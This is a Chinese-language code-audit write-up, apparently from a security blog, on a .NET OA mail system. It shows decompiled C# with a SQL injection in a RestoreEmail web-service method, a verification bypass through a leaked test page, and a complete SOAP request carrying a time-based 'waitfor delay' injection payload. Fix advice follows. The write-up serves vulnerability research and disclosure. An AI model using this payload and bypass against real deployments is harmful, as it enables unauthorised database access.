记一次靠猜的.net代码审计拿下目标
字数 1119 2025-08-05 12:50:18

.NET代码审计实战:从零开始发现SQL注入漏洞

0x00 前言

本文记录了一次针对.NET OA系统的代码审计过程,重点展示了如何在不熟悉.NET技术栈的情况下,通过系统性的分析和猜测,发现并验证了一个严重的SQL注入漏洞。本案例涉及的关键技术点包括:

  • .NET应用程序结构分析
  • DLL反编译技术
  • WebService接口审计
  • 动态验证码绕过
  • SQL注入漏洞利用

0x01 .NET应用程序审计基础

1.1 .NET应用程序结构

.NET应用程序通常采用以下结构:

  1. 页面文件 (.aspx):前端展示层
  2. 代码文件 (.aspx.cs):后端逻辑(通常编译到DLL中)
  3. 程序集 (DLL):编译后的二进制文件,存储在bin目录下

1.2 代码定位方法

根据页面声明定位代码位置:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>
  • Inherits属性指示了代码所在的命名空间和类
  • 对应DLL文件路径:bin/Richfit.Garnet.Web.dll

1.3 反编译工具

推荐使用ILSpy进行.NET DLL反编译,可直接拖拽DLL文件进行分析。

0x02 漏洞审计过程

2.1 目标接口分析

发现WebService接口:/mailserver/WebService/MailWebService.asmx

接口示例请求:

POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RestoreEmail xmlns="http://erpjx.com/MailWebService/">
      <TimeStamp>string</TimeStamp>
      <VerifyCode>string</VerifyCode>
      <UserGuid>string</UserGuid>
      <MailGuid>string</MailGuid>
    </RestoreEmail>
  </soap:Body>
</soap:Envelope>

2.2 代码审计关键点

反编译Mailserver.dll后,找到RestoreEmail方法:

public string RestoreEmail(string TimeStamp, string VerifyCode, string UserGuid, string MailGuid)
{
    AjaxResultModel ajaxResultModel = new AjaxResultModel();
    if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
    {
        using (SqlDataFactory sqlDataFactory = new SqlDataFactory(PublicSetting.RawDBHelper_ApplicationSetting_ConnectionStringKey, true))
        {
            ajaxResultModel.IsSuccess = sqlDataFactory.ExecuteSQLBool(string.Concat(new string[]
            {
                "update Inbox set Folder='",
                0.ToString(),
                "' where MailGuid='",
                MailGuid,
                "' and UserGuid='",
                UserGuid,
                "'"
            }));
        }
    }
    return Serializer.SerializeJSON<AjaxResultModel>(ajaxResultModel);
}

漏洞点分析

  1. 直接拼接SQL语句,存在SQL注入风险
  2. UserGuidMailGuid参数直接拼接到SQL语句中
  3. 需要绕过IsValidRequest验证

2.3 验证码绕过分析

IsValidRequest方法实现:

public static bool IsValidRequest(string TimeStamp, string VerifyCode, ref AjaxResultModel AjaxResultObject)
{
    bool flag = MD5.MD5Data(PublicSetting.MD5String + TimeStamp) == VerifyCode;
    if (!flag)
    {
        AjaxResultObject.ErrorMsg = "无效的验证码,您无权访问此服务!";
    }
    return flag;
}

绕过方法
发现测试页面/mailserver/Test/test.aspx泄露了验证码生成逻辑:

public class test : Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        string text = "2971ABC5-AC17-455C-AC33-C91066707F9C";
        string text2 = "王杨治";
        string text3 = DateTime.Now.Ticks.ToString();
        string text4 = MD5.MD5Data(PublicSetting.MD5String + text3);
        base.Response.Write(string.Concat(new string[]
        {
            "ComposeInterface.aspx?TimeStamp=",
            text3,
            "&VerifyCode=",
            text4,
            "&SenderUserGuid=",
            text,
            "&SenderName=",
            text2
        }));
    }
}

利用方式

  1. 访问测试页面获取有效的TimeStampVerifyCode
  2. 使用获取的值构造恶意请求

2.4 SQL注入验证

构造恶意请求:

POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RestoreEmail xmlns="http://erpjx.com/MailWebService/">
      <TimeStamp>637475525389254815</TimeStamp>
      <VerifyCode>727de04ad204d7b00ed1a1ff66943456</VerifyCode>
      <UserGuid>string';waitfor delay '0:0:5'--</UserGuid>
      <MailGuid>string</MailGuid>
    </RestoreEmail>
  </soap:Body>
</soap:Envelope>

结果:成功触发5秒延迟,验证SQL注入存在。

0x03 修复建议

  1. 参数化查询:使用参数化查询替代字符串拼接
  2. 测试页面清理:删除或限制访问测试页面
  3. 验证机制加强:使用更安全的验证方式,如JWT
  4. 错误信息处理:避免泄露敏感信息
  5. 输入验证:对所有输入参数进行严格验证

0x04 总结

本案例展示了如何通过以下步骤进行.NET应用程序审计:

  1. 分析应用程序结构,定位关键DLL
  2. 使用反编译工具分析业务逻辑
  3. 识别危险函数和代码模式
  4. 寻找验证绕过方法
  5. 构造PoC验证漏洞

即使不熟悉.NET技术栈,通过系统性的分析和合理猜测,也能有效发现安全漏洞。

.NET代码审计实战:从零开始发现SQL注入漏洞 0x00 前言 本文记录了一次针对.NET OA系统的代码审计过程,重点展示了如何在不熟悉.NET技术栈的情况下,通过系统性的分析和猜测,发现并验证了一个严重的SQL注入漏洞。本案例涉及的关键技术点包括: .NET应用程序结构分析 DLL反编译技术 WebService接口审计 动态验证码绕过 SQL注入漏洞利用 0x01 .NET应用程序审计基础 1.1 .NET应用程序结构 .NET应用程序通常采用以下结构: 页面文件 (.aspx):前端展示层 代码文件 (.aspx.cs):后端逻辑(通常编译到DLL中) 程序集 (DLL):编译后的二进制文件,存储在bin目录下 1.2 代码定位方法 根据页面声明定位代码位置: Inherits 属性指示了代码所在的命名空间和类 对应DLL文件路径: bin/Richfit.Garnet.Web.dll 1.3 反编译工具 推荐使用ILSpy进行.NET DLL反编译,可直接拖拽DLL文件进行分析。 0x02 漏洞审计过程 2.1 目标接口分析 发现WebService接口: /mailserver/WebService/MailWebService.asmx 接口示例请求: 2.2 代码审计关键点 反编译 Mailserver.dll 后,找到 RestoreEmail 方法: 漏洞点分析 : 直接拼接SQL语句,存在SQL注入风险 UserGuid 和 MailGuid 参数直接拼接到SQL语句中 需要绕过 IsValidRequest 验证 2.3 验证码绕过分析 IsValidRequest 方法实现: 绕过方法 : 发现测试页面 /mailserver/Test/test.aspx 泄露了验证码生成逻辑: 利用方式 : 访问测试页面获取有效的 TimeStamp 和 VerifyCode 使用获取的值构造恶意请求 2.4 SQL注入验证 构造恶意请求: 结果 :成功触发5秒延迟,验证SQL注入存在。 0x03 修复建议 参数化查询 :使用参数化查询替代字符串拼接 测试页面清理 :删除或限制访问测试页面 验证机制加强 :使用更安全的验证方式,如JWT 错误信息处理 :避免泄露敏感信息 输入验证 :对所有输入参数进行严格验证 0x04 总结 本案例展示了如何通过以下步骤进行.NET应用程序审计: 分析应用程序结构,定位关键DLL 使用反编译工具分析业务逻辑 识别危险函数和代码模式 寻找验证绕过方法 构造PoC验证漏洞 即使不熟悉.NET技术栈,通过系统性的分析和合理猜测,也能有效发现安全漏洞。